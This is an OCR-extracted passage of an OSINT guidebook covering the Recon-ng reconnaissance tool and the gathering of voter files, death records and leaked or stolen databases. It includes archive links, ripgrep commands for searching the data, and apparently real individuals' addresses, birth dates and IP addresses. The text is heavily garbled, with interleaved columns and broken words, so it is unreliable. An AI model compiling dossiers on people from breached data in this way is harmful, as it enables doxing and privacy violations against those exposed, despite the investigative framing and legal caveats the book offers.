https://github.com/lanmaster53/recon-ng.git • cd recon-ng • sudo -H python3 -m pip install Exits the current context Displays a summary of activity Interfaces with the workspace's database Exits the framework Displays this menu Creates a module index (dev only) Manages third party resource credentials Interfaces with the module marketplace Interfaces with installed modules Manages the current context options Starts a Python Debugger session (dev only) Records and executes command scripts Executes shell commands Shows various framework items Manages workspace snapshots Spools output to a file Manages workspaces back dashboard db exit help index keys marketplace modules options pdb script shell show snapshots spool workspaces This should install Recon-ng, and typing . /recon-ng from within this director}' launches the application. This screen will display the current version, and I am writing this based on version 5.1.1. You can also launch the "R" icon in your Dock which eliminates the need to navigate to ~/Downloads/Programs/recon-ng ever}’ time you want to use the application. The following command would be used to update your version of Recon-ng, which is already included in the "updates.sh" script previously mentioned. Recon-ng does not possess many online tutorials. The guides that I have found are mostly an index of commands with little explanation. Instead of trying to summarize how the program functions, I will walk you through actual usage and explain as we go. I will start with the basics and then conduct numerous actual searches. In lieu of screen captures, I will include all text input and output in 9 pt Terminal font. Upon executing Recon-ng, you will be notified that no modules are installed. This is normal, and we will add them as we need them. At this prompt, let's begin with the help command. Typing help reveals the following commands and explanations. Typing marketplace search will reveal the current functions available. Think of the marketplace similar to a list of utilities within Recon-ng, and each option as a "resource". Just like Bing is a website resource that we can use through a web browser, "bing^domain_web" is a specific resource that we can use in Recon-ng. The following modules were available at the time of this writing. We will use some of these during the instruction. Recon-ng is a full-featured web reconnaissance framework written in Python. Complete with independent modules, database interaction, built-in convenience functions, interactive help, and command completion, Rccon-ng provides a powerful environment in which OSINT research can be conducted quickly and thoroughly. This utility provides automation to many of the redundant tasks that OSINT examiners find themselves performing on a daily basis. I offer a warning before proceeding. This is a technically complicated portion of this book. Please don't let that scare you off, we will approach each step slowly. First, we need to install Recon- ng into our OSINT Original virtual machine. Type the following into Terminal. 422 Chapter 27 exploitation/injection/command-injector exploitation/injection/xpath_bruter import/csv_file import/list import/masscan import/nmap recon/companies-contacts/bing_linkedin_cache recon/companies-contacts/censys_email_address recon/companies-contacts/pen recon/companies-doniains/censys_subdoniains recon/companies-domains/pen recon/companies-doiTiains/viewdns_reverse_whois recon/companies-domains/whoxydns recon/companies-hosts/censys_org recon/companies-hosts/censys_tls_subjects recon/companies-multi/github_miner recon/companies-multi/shodan_org recon/companies-multi/whois_miner recon/contacts-contacts/abc recon/contacts-contacts/mailtester recon/contacts-contacts/mangle recon/contacts-contacts/unmangle recon/contacts-credentials/hibp_breach recon/contacts-credentials/hibp_paste recon/contacts-credentials/scylla recon/contacts-domains/migrate_contacts recon/contacts-profiles/fullcontact recon/credentials-credentials/adobe recon/credentials-credentials/bozocrack recon/credentials-credentials/hashes_org recon/domains-companies/censys_companies recon/domains-companies/pen recon/domains-companies/whoxy_whois recon/domains-contacts/hunter_io recon/domains-contacts/metacrawler recon/domains-contacts/pen recon/domains-contacts/pgp_search recon/domains-contacts/whois_pocs recon/domains-contacts/wikileaker recon/domains-credentials/pwnedlist/account_creds recon/domains-credentials/pwnedlist/api_usage recon/domains-credentials/pwnedlist/domain_creds recon/domains-credentials/pwnedlist/domain_ispwned | recon/domains-credentials/pwnedlist/leak_lookup recon/domains-credentials/pwnedlist/leaks_dump recon/domains-credentials/scylla recon/domains-domains/brute_suffix recon/domains-hosts/binaryedge recon/domains-hosts/bing_domain_api recon/domains-hosts/bing_domain_web recon/domains-hosts/brute_hosts recon/domains-hosts/builtwith recon/domains-hosts/censys-domain recon/domains-hosts/certificate_transparency recon/domains-hosts/google_site_web recon/domains-hosts/hackertarget recon/domains-hosts/rnx_spf_ip recon/domains-hosts/netcraft recon/domains-hosts/shodan_hostname recon/domains-hosts/spyse_subdomains recon/domains-hosts/ssl_san recon/domains-hosts/threatcrowd recon/domains-hosts/threatminer Advanced Linux Tools 423 path name author version recon/netblocks-hosts/virustotal Virustotal domains extractor USSC (thanks @jevalenciap) 1.0 2019-06-24 Harvests domains from the Virustotal by using the report API. ['virustotal_api'] I I I last-updated | description | required_keys ] recon/domains-vulnerabilities/ghdb recon/domains-vulnerabilities/xssed recon/hosts-domains/migrate_hosts recon/ho5ts-hosts/bing_ip recon/hosts-hosts/censys_hostname recon/hosts-hosts/censys_ip recon/hosts-hosts/censys_query recon/hosts-hosts/ipinfodb recon/hosts-hosts/ipstack recon/hosts-hosts/resolve recon/hosts - hosts/ reve rse_resolve recon/hosts-hosts/ssltools recon/hosts-hosts/virustotal recon/hosts-locations/migrate_hosts recon/hosts-ports/binaryedge recon/hosts-ports/shodan_ip recon/locations-locations/geocode recon/locations-locations/reverse_geocode recon/locations-pushpins/flickr recon/locations-pushpins/shodan recon/locations-pushpins/twitter recon/locations-pushpins/youtube recon/netblocks-companies/censys_netblock_company recon/netblocks-companies/whois_orgs recon/netblocks-hosts/censys_netblock recon/netblocks-hosts/reverse_resolve recon/netblocks-hosts/shodan_net recon/netblocks-hosts/virustotal recon/netblocks-ports/census_2012 recon/netblocks-ports/censysio recon/ports-hosts/migrate_ports recon/ports-hosts/ssl_scan recon/profiles-contacts/bing_linkedin_contacts recon/profiles-contacts/dev_diver recon/profiles-contacts/github_users recon/profiles-profiles/namechk recon/profiles-profiles/profiler recon/profiles-profiles/twitter_mentioned recon/profiles-profiles/twitter_mentions recon/profiles-repositories/github_repos recon/repositories-prof iles/github_commits recon/repositories-vulnerabilities/gists_search recon/repositories-vulnerabilities/github_dorks reporting/csv reporting/html reporting/json reporting/list reporting/proxifier reporting/pushpin reporting/xlsx reporting/xml At any time, you can type marketplace info into Recon-ng to receive details about a specific item. As an example, typing marketplace info virustotal displays the following description. marketplace install profiler The module is now installed, but is not loaded. The following loads the module. modules load profiler options set SOURCE inteltechniques We should test our input with the following command. input The response should now be the following. | Module Inputs | | inteltechniques | Finally, we can launch the module with the following command. run show profiles The results appear similar to the following. 424 Chapter 27 This script should query the username of intekechniques against numerous online sendees. It does not present any results when complete, but did locate and store valuable data. To view the results, type the following. Now that the module is loaded, we can add any input desired. Since this module queries usernames, we will add our target of "inteltechniques" with the following command. Note that SOURCE is uppercase, which is required. This provides the detailed description, and whether the utility requires an API key or other dependencies. It also confirms we have not installed the module. We will execute this option later in the chapter. For now, we must set up our first investigation. Before we can conduct any research within this program, we must create a workspace. A workspace is a container that will isolate your work from one investigation to another. Think of a workspace as a case file. You may have a stack of cases on your desk, each with its own folder. All of your work on a case stays within the folder associated. Workspaces are similar. You should create a new workspace for each investigation. They can be deleted later or preserved for additional work. You can type workspaces list at any time to see the currently used workspaces. For now, we will create a new workspace tided OSINT by executing die command of workspaces create OSINT. After creation, you will automatically begin using the new workspace. If you have created more than one workspace, such as one tided OSINT2, you can switch to it by typing workspaces load 0SINT2. You might have a workspace for every target suspect or a single workspace for an entire case. Each situation will be unique. Now that you have a space created, we can begin. Let's start with a very simple yet powerful query, using the Profiler module previously mentioned. First, we must install the module with the following command within Recon-ng. dependencies | [] files | [] status | not installed j inteltechn: | reddit google_site_web We will use these in order and target the website cnn.com. First, the domain cnn.com. The result identified over 70 unique hosts, including the following. Advanced Linux Tools 425 2 3 4 5 6 Let's conduct another example within a different module. First, we must leave our current module by typing back. This returns us to our workspace. Next, install four additional modules with the following commands. [host] [host] [host] [host] [host] [host] [’] f] [*] [’] [*] [*] options set SOURCE humanhacker run show profiles 2 3 internationaldesk.blogs.cnn.com (<blank>) crossfire.blogs.cnn.com (<blank>) reliablesources.blogs.cnn.com (<blank>) lightyears.blogs.cnn.com (<blank>) commercial.cnn.com (<blank>) collection.cnn.com (<blank>) | https://www.reddit.com/user/inteltechniques j https: //twitter. com/inteltechniques 9 | images | news | social I blog marketplace install bing_domain_web marketplace install g—*■ marketplace install brute_suffix marketplace install pgp_search , we will load the bing_domain_web option with the command of modules load bing_domain_web. Next, we will set our source with options set SOURCE cnn.com and execute the script with run. This command queries the Bing search engine for hosts connected to | inteltechniques | Gravatar | http://en.gravatar.com/profiles/inteltechniques | images | inteltechniques j reddit j https://www.reddit.com/user/inteltechniques j news j inteltechniques j Twitter j https://twitter.com/inteltechniques j social | http://en.gravatar.com/profiles/inteltechniques | https://www. reddit.com/user/inteltechniques | https: //twitter. com/inteltechniques | http://humanhacker.blogspot.com | https://disqus.com/by/humanhacker/ | https://flipboard.com/@humanhacker | https://api.github.com/users/humanhacker | https: //www. instagram.com/humanhacker/ I http://www.kongregate.com/accounts/humanhacker | https://kik.me/humanhacker | https: //medium.com/@humanhacker/latest | https://social.technet.microsoft.com/humanhacker/ | https: //namemc. com/name/humanhacker | https://www.pornhub.com/users/humanhacker j https://scratch.mit.edu/users/humanhacker/ | https://www.reddit.com/user/humanhacker | https://passport.twitch.tv/usernames/humanhacker | https: //twitter. com/humanhacker | https://www.xboxgamertag.com/search/hurnanhacker/ j tech | coding | social I gaming | social | news j tech I gaming | XXX PORN | coding | news I gaming | social I gaming We can replicate this type of search on Google to make sure we are not missing any hosts that could be valuable by typing back, then modules load google_site_web, then options set SOURCE cnn.com, and finally run. This The following continue to store target data | inteltechniques | Gravatar I inteltechniques | reddit | inteltechniques j Twitter j Blogspot | Disqus | Flipboard | GitHub | Instagram | Kongregatej http://www.kont | Kik | Medium | Technet | Minecraft | Pornhub | scratch | reddit j Twitch.tv | Twitter j Xbox In just a few seconds, we queried dozens of online services and immediately received only the three which contained the presence of our target username. This demonstrates the ability to save a substantial amount of time by using Recon-ng. If you were tasked to locate online profiles of ten suspects, this could be completed in a few minutes. Let's repeat the process, but with another username, with the following commands. result displays the additional online profiles collected during this second query. Recon-ng will as you receive it. This is one of the more powerful features of the application. I I I ____ I | discussion | I I I I I I I I I I I I I I liques >iqu< | humanhacker | humanhacker | humanhacker | humanhacker | humanhacker | humanhacker 10 | humanhacker 11 | humanhacker 12 | humanhacker 13 | humanhacker 14 | humanhacker 15 | humanhacker 16 | humanhacker 17 | humanhacker 18 | humanhacker 19 | humanhacker be beneficial. Assume that you 426 Chapter 27 news.blogs.enn.com rn.cnn.com buzz.money.enn.com I 2 I 3 I 4 | barsuk | Tristan | Paul I I I P I | Helmich | Murphy thechart.blogs.enn.com globalpublicsquare.blogs.enn.com tech.fortune.cnn.com | [email protected] | [email protected] | [email protected] options unset SOURCE options set SOURCE cnn.com social-engineer.me social-engineer.net social-engineer.se social-engineer.training social-engineer.us Let's reflect on how this can be beneficial. Assume that you are investigating numerous websites. Recon-ng provides dozens of utilities which automate queries and provides immediate information. Magnify this y tens or hundreds of domains, profiles, or other target data, and you have an easy way to replicate several hours o s, while submitting show contacts afterward displays the email addresses identified. Each of these addresses are now social-engineer.be social-engineer.ch social-engineer.com social-engineer.de social-engineer.dev social-engineer.info These are all new leads that should be analyzed later. We could now repeat our previous module execution o bing_domain_web and google_site_web to likely grow our list of hosts substantially. This is a good time to pause and consider what is happening here. As we find data, Recon-ng stores it within our workspace. Ever} time ue conduct a new search, or repeat a previous search, all of the new data is appended. This prevents us rom documenting everything that we locate because Recon-ng is keeping good notes for us. This can allow us to collect an amount of data otherwise impossible to manage manually. Let's move on to individual contacts. Typing show contacts will display any contacts stored within the current workspace. You likely do not ha\e any, so let's add some. First, type back to make sure you are out of the previous module. Next, oa ano er module with modules load pgp_search. This will scan all of the stored domains that we have locate an scare for any email addresses associated with public PGP keys within those domains. We have not set a source this module, but you likely already have some ready for you. In a previous example, you searche socl engineer.org within other top-level domains and received numerous results. If you type input wit in is module, you should see those same domains listed. This is because Recon-ng is constantly storing found ata and making it available for future use. If we type run, this list will be searched, but no results will be foun . i otc that this list does not possess our target domain of social-engineer.org, and only the additional names ou previously. Therefore, you may wish to remove these sources, and then add a new source, with the o owing commands. Typing run and striking enter executes the process, results. The following is the partial output with new t* stored in your workspace, ready for the next round of research. notifies us 38 total (15 new) hosts found, which indicates that Bing found more hosts than Google, and Google found 15 hosts that we did not have in our collection from Bing. Since Recon-ng can parse out duplicates, we should have a list of unique hosts with a combined effort from both Google and Bing. Typing show hosts will display all of them. Below is a small portion. Next, let's type back to leave the current module and then modules load brute_suffix to load our next demo. Since there is no domain set as our source for this module, we will add one with options set SOURCE social­ engineer, org. There are many top-level domains (TLDs) aside from .com and .org. Executing run will scour the various TLDs such as .net, .tv, and others. After completion, typing show domains again will display our updated set of target addresses ready for further searching. In this example, I was notified that 11 additional domains were located, including the following. Advanced Unux Tools 427 i back marketplace install html modules load html options set CUSTOMER IntelTechniques options set CREATOR M.Bazzell run workspaces list workspaces remove OSINT workspaces create location This chapter explains only a small portion of the capabilities of Recon-ng. Please consider revisiting the modules listed at the beginning and experiment with the execution of each. Overall, it would be very difficult to break the application, and any errors received are harmless. You will receive best results by requesting API keys from the services which require them. The "Info" screen of each Recon-ng module displays any requirements within the "Required Keys" field. Many API keys are free and open new possibilities. Overall, an entire book could be written about this application alone. The goal of this section was simply to familiarize you with the program and demonstrate the power of automated queries. This seems like a good time to back away, create a report, and start a new set of actions. The following commands will back out of our current module; install the reporting feature; instruct Recon-ng that we want to use the reporting tool; mandate a graphical html (web) template be used; set the "Customer” as IntelTechniques; set the "Creator" as M.Bazzell; and execute the process. Note the output after the final command. It identifies that the report is complete, and provides the storage location. Since I am running Recon-ng from my OSINT virtual machine, the default location is —/.recon- ng/workspaces/OSINT/results.html. Therefore, I can open the home folder on my desktop; double-click the ".recon-ng" folder; double-click the "workspaces" folder; double-click the "OSINT’ folder, and then open the "results" file. Please note you must have "Show Hidden Files" option enabled from within the preferences menu of the Files application. Figure 27.06 displays the partial file from this example. Note that the Domains, Hosts, and Contacts sections are not expanded, but contain a lot of information. At the bottom of this file, the "Created by", date, and time clearly identify these report details. If you would like more information about Recon-ng, please visit the official Github page at https://github.com/lanmaster53/recon-ng. From there, you can join a dedicated Slack group in order to participate in group discussions about errors, features, and overall usage. work. In another scenario, you are investigating a list of potential email addresses connected to a case. Entering these into Recon-ng allows you to execute your searches across all accounts. 'The effort to check one address is the same to check thousands. This impressive capability is only a small fraction of what can be done with this application. Hopefully this demonstration explained the usage of Recon-ng. Executing exit in the window closes everything, but removes nothing. Before our next example, let’s delete our previous work and Stan fresh. Note that deleting a workspace removes all associated data and reports. Make sure you have exported your evidence if needed. First, relaunch Recon-ng. The following commands display the current workspaces; delete the OSINT workspace; and create a new workspace tided location. vimv/rpccn-'q < [•] Summary table 12 domains 0 39 0 contacts 19 0 3 [-] Profiles module url category username tech humanhacker Minecraft Pomhub Users Twiner J social Figure 27.06: A partial Recon-ng report. 428 Chapter 27 companies netb locks pons hosts 0 0 0 gaming xxx PORN XXX humanhacker bumanhacker humanhacker bumanhacker scratch reddrt Twitthkr hfiplhumanhackerblogspotcom hcpsVMisq us xom/by.Ttuman hacker/ hcps/iflip board com/(t|iumanliacker http s7/api github oom'Use rsrti uman hacker ntqjsJ/wwwjns tagram.ee rn.hu manhacker/ http XVwwkong regate eom/accDunts/Iiumanhackef hCpsiflakjne/humanhacfcer https J/mediumco m/@hu man haekeMalest 0 0 0 0 blog discussion prosier profiler profiler profiler profiler profiler profiler profiler profiler profiler profiler profiler profiler profiler profiler profiler profiler profiler profiler IntelTechniques Recon-ng Reconnaissance Report humanhacker humanhacker humanhacker Blogspot Disqus Rip board GtHub locations vulnerabilities credentials leaks pushpins profiles repositories gaming SOO Al gaming images gaming social Created by: m. Bazzell Sun. Sep 22 2019 10:44:40 Q+] Domains ([♦] Hosts Instagram (Congregate Krk Medium MicrosoftTechnetCommunity hnpsy/soaal.tccnneLmicroson.com.'pnifileihumanhacker/ teen https/znamemccom/name/tiuinanhacker https/Avivw pomhub.com/usershumanhacker hcps7/scratrhmit.edu.usershumanhacxer/ heps/>.v.wreddit contuse Miumanhacker hnps7>passponJwiXhwAjsemamesA>umanhacker hHps7irwiBer.comhumanh acker https J/wwwxbaxgame rag com’searcn'humanhacker/ hcpj.’en gravatar.com.profilesfintenechniques.json httpsT/wv/vuedditccmAiserfinteltechniques hCps /-T.-.ittEtcom/.ntettechniques humanhacker bumanhacker humanhacker humannacter bumanhacker humanhacker humanhacker humanhacker Xbcx Gamerag inteltechniques Gavatar imeltetiiniques reddit inteltechniques Twiner Data Breaches & Leaks 429 Arkansas: Colorado: Connecticut: Delaware: Florida: Michigan Oklahoma: Rhode Island: Utah: Ch a pt e r Tw e n t y -Eig h t Da t a b r e a c h e s & Lea k s http://arkvoters.com/download.html http:// coloradovoters.info/downloads/20170401/ http:/ / connvoters.com/download.html http://delawarevoters.info/downloads.html http:// flvoters.com/download/20171130/ https://michiganvoters.info/download.html http://oklavoters.com/download.html http://rivoters.com/downloads.html http://utvoters.com/ The techniques that you will read about in this chapter are for educational use only. Many, if not all, of the methods described here could violate organization policy if executed. While the chapter will only discuss publicly available data, possession could violate your security clearance or be determined illegal by state or federal law. Distribution of the types of content that will be discussed here will be illegal in most cases. However, I will explain ways that you can apply these practices in a legal way, and keep yourself employed. Overall, please do not take any action from this instruction unless you have verified with your organization's legal counsel or supervisory personnel that you have the authority to do so. Let’s begin. This is where things get tricky. While you can find copies of thousands of stolen databases all over the internet, what are the legalities of downloading and possessing the data? First, let me say that I am not an attorney and I offer no legal advice. I have spoken with many attorneys and prosecutors about this, and the feedback was similar from each. If the data is publicly available, possession alone would likely be legal. This is similar to viewing an email stolen from Hillary Clinton posted on WikiLeaks or an internal document stolen from Google posted on Medium. If you do not violate the laws and policies applicable in your city, county, state, or country when you view this publicly available, yet stolen, data, then you could likely get away with viewing stolen credentials existing in the various database leaks online. In previous chapters, 1 discussed the online services Have I Been Pwned (HIBP) and Dehashed as two amazing resources for email search. These services possess a huge database of publicly available leaks that were stolen from the host companies and distributed over the internet. In order to emphasize the concern, I will repeat that this data was originally stolen by criminals. When you search an email address on these services and are informed that it was compromised within the Linkedln data breach, this means that a partial copy of this stolen data resides within these services. HIBP and others are often applauded as a great resource to monitor your own accounts for any reported compromises. Well, what if we created our own collection of this data? What matters most is that you never take any illegal action with the data that you possess. In a moment, I wall explain how to access valid email addresses and passwords of billions of accounts. Using this data as a search technique is one extreme, but attempting to use this data to access someone's account is another. There is no situation where gaining access to a target's account is acceptable, unless you have a valid search warrant or court order to do so. Since many of you are in law enforcement, this chapter may identify new strategies for you when you have the legal authority’ to access an account. We will start with some very basic legal data. I previously presented websites that allowed you to search a real name and identify the voter registration record of the individual. This usually identifies a home address, telephone number, party’ affiliation, and occasionally an email address. These websites are committing no crime. Some states make the data freely available, and some charge a fee for digital access. All states' voter registration details are public record, which is why it is overly analyzed and scrutinized during election seasons. At the time of this writing, entire third-party state databases were available for download at the following addresses. Ubuntu: Conduct the following steps within your OSINT Original VM. • brew install ripgrep unnecessary "tabs" in each 430 Chapter 28 Mac: Enter the following command within Terminal. You must have Brew installed, as explained in the beginning of the book. cd '-/Deskcop/Voter-FL cat * > Voter-FL.txt cd ~/Desktop/Databases rg -a -F -i -N Williamson Assume that you have downloaded the dozens of county files from the Florida link above. You now have a folder titled Voter-FL on your desktop of your Linux VM that was discussed in Secdon I. The reason we want the data inside Linux is because we can take advantage of built-in commands that will help us sort and collect our data. Furthermore, we will add Ripgrep to Linux, which allows extremely fast searching of large data sets. Personally, I do not like having a separate text file for each county in Florida. I would rather combine all of them into one single file and title it appropriately. If you start hoarding collecting data, you may want to keep your collection tidy. Therefore, I would open Terminal and type the following commands. The first navigates you into the folder, and the second combines all of the files into one file titled Voter-FL.txt. The output appears sporadic and similar to the text below. This is because there are line which causes the text to appear broken. You could now move that file to another folder on your desktop titled Databases, and delete the Voter-FL folder. This new large text file may take a long time to open, which is quite common with these datasets. Therefore, let's clean it up. First, we need to install a small utility titled Ripgrep. The following instructions explain the process for Mac and Ubuntu Linux. Ripgrep does not play well with Windows, hence the need for a Linux VM. • Navigate to https://github.com/BurntSushi/ripgrep/releases/. • In the "Assets" section, download the file ending with ".deb". • Open the Files application, click on Downloads, and double-click this .deb file, which was ripgrep_12.1.1_amd64.deb at the time of writing. • Click "Install" and follow the prompts. These sites are all operated by the same individual. He files Freedom of Information Act (FOIA) requests for copies of the public data, and discloses the content he is given by the government. If you believe this is not legal, consider Ohio. If you navigate to https://www6.ohiosos.gov/ords/f?p=VOTERFTP:HOME and click on the "Statewide Voter File" tab, you can download the entire database of registered voters directly from the official Ohio government domain. This is truly public data and avoids the use of third-party providers. The data set for Washington state is also available from the government if you promise not to further distribute or sell the content. You can download the entire database directly at https://www.sos.wa.gov/elections/vrdb/extract- requests.aspx. Other states' voter databases are also out there, and Google should get you to them. You may not see the value of downloading this data versus conducting queries on the various websites. Let's walk through an example to see where we can benefit from the full data set. Now that we have Ripgrep installed, we can use it to peek into very large files. First, let's take a look at the structure. The following commands within Terminal in Linux or Mac will navigate you to the Databases folder on your desktop, and conduct a search for the name "Williamson" within the new file. The search parameters will be explained in a moment. ALA DEM 22C3 3 21 sed -i 's/ /:/g' Voter-FL.txt sed -i 's/::/:/g’ Voter-FL.txt Repeating the original search for Williamson now reveals the following output FL. txt, the following should help explain. If you feel overwhelmed, please don't let that convince yoi rnmmanrlc \iHll CMrt t-z-» mnl-p coo co nc wrr* r»rr\rrrocc T pr< commands will start to make more sense as Data Breaches & Leaks 431 The presence of the unnecessary colons bothers me, so I will execute the following command to eliminate any two consecutive colons, and replace them with a single colon. NW 48Th TER 08/14/1980 rg -a -i -N [email protected] rg -a -F -N [email protected] rg -a -F -i [email protected] rg --help sed -i 's/::/:/g' Voter-FLtxt fg -a -F -i -N The command for "Sed" Modify the file and save it in real-time Replace every occurrence of:: with : throughout the entire file The file to modify (♦ would modify all files in the folder) >u to abandon this chapter. 1 promise that the we progress. Let's jump back into the search results we received. The command for Ripgrep The switch to search all data as text The switch to treat the pattern as a literal string The switch to ignore case The switch to exclude the line number ALA: 100397608:Williamson:Glenda:Dianne:N:217218 NW 48Th TER :Gainesville: :32606:F:5:08/17/1951:08/14/1980:DEM:22:0:22C3:ACT:3:21:8:0:0: 100397608 Gainesville 22 0 ALA: 100397608:Williamson: :Glenda:Dianne:N:217218 NW 48Th TER : .-Gainesville: :32606::::::: :F:5:08/17/1951:08/14/1980:DEM:22:0:22C3: :ACT:3:21:8:0:0:::: If you have your Terminal window maximized, this all fits quite nicely on one line. 1 may have created more confusion than provided answers, so let's dissect each process. This will be beneficial in our future examples. In order to search the data collected, we will be using Ripgrep, as previously mentioned. The commands we will be using are explained below. Overall, we will almost always use the combination of rg -a -F -i -N "target". The commands that begin with "sed" tell the operating system to modify data. In the previous command of sed -i ' s/:: /: /g' Voter- rg -a -F -i -N [email protected] Search EXACTLY [email protected] or [email protected] Search ALL test and gmail and com Search ONLY [email protected] and not [email protected] Search EXACTLY [email protected] and show line # Show Ripgrep help menu Williamson 32606 ACT The following optional command will replace each tab with a colon, which compresses the data and makes it easier to read. The same search from the previous example now produces the text visible below the command. This is much cleaner and will make future search results easier to digest. Note that the spaces in the command are created by pressing the control, v, and tab keys at the same time. This represents a "tab" to the command. When sed is executed, you will not see any output or indication it is working. However, you will be prompted when complete. Glenda Dianne N 217218 08/17/1951 rg -a -F -i -N 'NW 48Th TER' 0118201303191921 S DOROTHY 432 Chapter 28 The results will include multiple entries with the following format 433220353 BAZZELL rg -a -p -i _N 6185551212 rg -a -F -i -N 618-555-1212 Display all Gmail accounts within the voter files Search a specific email address within all the files • cd -/Desktop/Databases • rg -a -F -i -N bazzell SSDI.txt rg -a -F -i -N @gmail.com rg -a -F -i -N [email protected] should discuss the true value of this ’ ’ 1 to possess. The real about to discuss. There are criminals that use the data to Now that you understand the basics of searching and modifying data, we technique. Until this point, we have only experimented with truly public data that is legal power lies within the stolen databases that are now publicly available which I am v usually two types of people that download these databases. The first are amateur illegally obtain account access to victims' accounts by supplying the usernames and passwords from one service into another service. As an example, if a criminal learns your username and password that you used on Linkedln, he or she may tty that same combination on Twitter or Gmail. We will never do this, as it is illegal and unethical. They clearly identify the full name, home address, gender, date of birth, date of last registration change, and party* affiliation. I find this extremely useful, but all of this could have been obtained from the previously mentioned websites. Therefore, let's conduct a search for any registered voters that live on the street of our previous example. The following would be the query’, providing our search in single quotes because it contains a space. Instead of specifying the file, we can leave that off and it will simply search every’ file in the folder. The response contains the same type of details as seen previously, but displays hundreds of people, ou cannot replicate these results with a traditional manual search on the sites themselves. Furthermore, we cou cone uct these searches across all of our databases, which we will do later. You could replicate all of this instruction throughout the various voter registration databases available for download. You might eventually’ have a singe file for each state, with all of the unnecessary’ content removed from within the files. Some readers may c oosc not to modify the files while others may’ sanitize them to the point of ultimate conservation of file size, -ac user's collection will be unique. You might try’ the following search options. Hopefully, you agree that possessing your own collection of this type of data could be useful. jnjex collection of publicly available data. An individual previously purchased the entire Social Security ue - which is public data, and uploaded it for public consumption. This entire database can e ow http://cancelthesefunerals.com. After downloading the multiple files, you can com inc cm previously into a single file and name it SSDI.txt. Assuming you placed the text file in the Databases following commands would navigate to the folder and search for anyone in the file wi my ast nam this file as it was created. Let’s recap where wc are at right now. You might have single, very large, . each include all of the reg>stered voter data for various states. These often include dates , telephone numbers, addresses, and email accounts. You also have the entire SSDI You can now search* gh all of that data with a simple search. If you wanted to identify any entries w.thin all of the files . number of 618-555-1212, the following would be the most appropriate searches. You cou a social security number, date of birth, or date of death. https://web.archive.Org/web/20151110195654/http://www.updates4news.com:80/kyledata/ Data Breaches & Leaks 433 MANHATTAN BEACH, [email protected],yahoo.com, Robyn Bazzell, 2015-04-07, 72.129.87.179, paydayloaneveryday.com, CA, 90266 • cd -/Deskxop/Databases • rg -a -F -i -N [email protected] SpecialK.txt or other similar sites. This stolen data is already out there, and it can same techniques used against us, when researching criminals. OK, judgment for the rest of this chapter. If desired, you could use the Firefox extension mentioned previously to automatically download all of this data overnight into a folder on your Linux desktop tided "SpecialK". You could then execute a command through Terminal within that folder of cat * > SpecialK. txt. The result would be a single file, 19.73 gigabytes in size. That is very big, but also very powerful. Let's take a look at the content. Assume 1 was looking for a target who possessed an email address of [email protected]. Assuming that I had made a single file tided SpecialK.txt within my Databases folder on my Linux desktop, my commands in Terminal would be as follows. The result of the search is direcdy after the search command. By now you may just want to know where to obtain these databases. The source websites that allow download of this stolen data get shut down often. However, the magic of internet archives can help us regain the data. Let's start with something in a grey area. There are many companies that collect millions of email addresses and create spam lists. These then get sold to companies selling fake pharmaceuticals or designer handbags, and those unwanted messages end up in your inbox. We are all on a spam list somewhere. These are very expensive to buy, especially the good ones. One such database is the Kyle Data, or "Special K" spam list. We used this example in the browser chapter when DownThemAll easily acquired all of the data. This database contains 178,288,657 email addresses. There are no passwords, but it does contain other sensitive data. In November of 2015, a web page at updates4news.com temporarily possessed active links to this entire data set This page is long gone by now. Fortunately for us, the Wayback Machine archived all of it. The following direct link displays hundreds of csv spreadsheets, each containing millions of email addresses. The next exercise also involves archive.org. Specifically, data from Linkedln. This data set surfaced in 2017 and does not possess any passwords. It contains only Linkedln user ID numbers and the associated email addresses. While this type of data was included within the original 20 GB Linkedln breach, it was excluded from the popular password dumps that can be found online today. Since it does not contain passwords, it can be found on die Wayback Machine. At the time of this writing, the direct link to download the entire user ID database could be found at https://archive.org/details/LlLJsers.7z. This tells me that my target lives in Manhattan Beach, CA 90266. Her name is Robyn Bazzell, and on 04/07/2015 her marketing data was collected from the website paydayloaneveryday.com. At the time, her computer IP address was 72.129.87.179. We basically just converted an email address into a full dossier on our target. This type of data is simply not available on public websites. If you doubt the validity of this data, please consider searching your own content. This is only one of dozens of interesting databases stored within the Wayback Machine. It is up to you to exercise your skills from previous chapters to locate them all. The second group of individuals that download this data are security researchers. Numerous private organizations authorize employees to collect this stolen information and use the data to make their own systems more secure. I personally know of many researchers who download this data, protect it from further distribution, and only use it in an ethical manner. This is the only acceptable use of this data. For those that still believe that we should not access stolen databases released to the public, consider one last argument. Tens of thousands of criminal hackers use this content to "dox" people every day. Doxing is the act of exposing personal information about a victim online. This is a very common tactic used against law enforcement officers when an event such as an officer-involved shooting happens. The government employees' passwords often get leaked on Pastebin -----------rrn-:- —-----J-*-- J----- - ------ — J :------ never be secured. We should embrace the enough warnings. You can use your best • rg -a -F -i -N [email protected] linkedin_users.txt 1332567, [email protected] • rg -a -F -i -N 1288635 linkedin_users.txt 1288635, [email protected] rg -a -F -i -N mikenapll5 SnapChat.txt (’21220392XX’, mikenapllS, '*, ’’) rg -a -F -i -N 30351923XX SnapChat.txt 434 Chapter 28 Decompress this file by right-clicking within Linux and choosing "Extract here". The text file contains the email addresses and user ID numbers extracted from the full Linkedln breach. It is nothing more than each email address used to create a specific profile ID number. The following search within Terminal would display the results of a target email address, and the response is directly below the command. ■ ), We can also now search by telephone numbers. If you know your target has a cellular number of 303-519-2388, you could conduct the following search, with the partial result appearing after. You now know that your target's user ID number is 1332567. This data alone is not very7 helpful. Let's consider another perspective. Assume you find your target's Linkedln profile page, and you want to know the email address used to create the account. Right-clicking on the profile allows the option to display the "Source Code" of the profile. Searching the term "member" within this code presents numerous occurrences of that term. The third or fourth from last occurrence should appear similar to "member:l288635". This tells you that the member ID for your target is 1288635. The following displays the email address associated with that number, with the results immediately below. Real World Application: I have used this technique numerous times over the past couple of years. During one investigation, I located the Linkedln profile of my target. I had previously found no email addresses connected to him. By looking at the source code of the Linkedln profile, I could see his user ID. Searching that user ID within this Linkedln data provided the personal email address used to create the account. That email address led to old passwords, which led to additional email addresses, as explained in a moment. Obtaining a confirmed personal email address can lead to numerous new investigation techniques. This identifies the cellular telephone number of our target to include 212-203-92xx. While the last two numbers are redacted, you could try’ all 100 combinations within the previously discussed telephone search options. It is a great start. You could have also conducted this query’ on websites which possess this data. However, those sites require an absolute username. It cannot search partial names. If we only’ knew that our target had a Snapchar name that included the term "topher4", this database would provide the following users of interest. ('30351923XX’, ,topher451’, ('41572499XX*, ,topher413’, ('71974140XX', ’topher456’, ('75426428XX', ,topher4811, Let's conduct one more archive.org demonstration before moving on to credentials. In January’ 2014, Snapchat had 4.6 million usernames and phone numbers exposed. The 